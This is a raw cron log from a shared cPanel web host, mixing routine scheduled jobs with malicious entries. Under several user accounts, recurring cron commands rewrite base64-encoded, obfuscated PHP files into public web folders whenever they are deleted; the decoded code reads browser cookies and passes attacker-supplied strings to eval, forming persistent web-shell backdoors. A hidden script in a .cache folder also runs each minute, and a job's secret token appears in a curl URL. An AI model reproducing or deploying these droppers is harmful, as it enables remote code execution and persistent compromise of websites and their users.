Mar  2 02:42:01 medusa CROND[17914]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:42:01 medusa CROND[17916]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:42:01 medusa CROND[17918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:42:01 medusa CROND[17920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:42:01 medusa CROND[17921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:42:01 medusa CROND[17919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:42:01 medusa CROND[17922]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:42:01 medusa CROND[17924]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:42:01 medusa CROND[17925]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:42:01 medusa CROND[17931]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:43:01 medusa CROND[25229]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:43:02 medusa CROND[25269]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:43:02 medusa CROND[25371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:43:02 medusa CROND[25374]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:43:02 medusa CROND[25378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:43:02 medusa CROND[25379]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 02:43:02 medusa CROND[25380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:43:02 medusa CROND[25382]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:43:02 medusa CROND[25383]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:43:02 medusa CROND[25384]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:43:02 medusa CROND[25387]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:43:02 medusa CROND[25388]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 02:43:02 medusa CROND[25393]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:43:02 medusa CROND[25392]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:44:02 medusa CROND[871]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:44:02 medusa CROND[873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:44:02 medusa CROND[997]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:44:02 medusa CROND[998]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:44:02 medusa CROND[1002]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:44:02 medusa CROND[1004]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:44:02 medusa CROND[1007]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:44:02 medusa CROND[1008]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
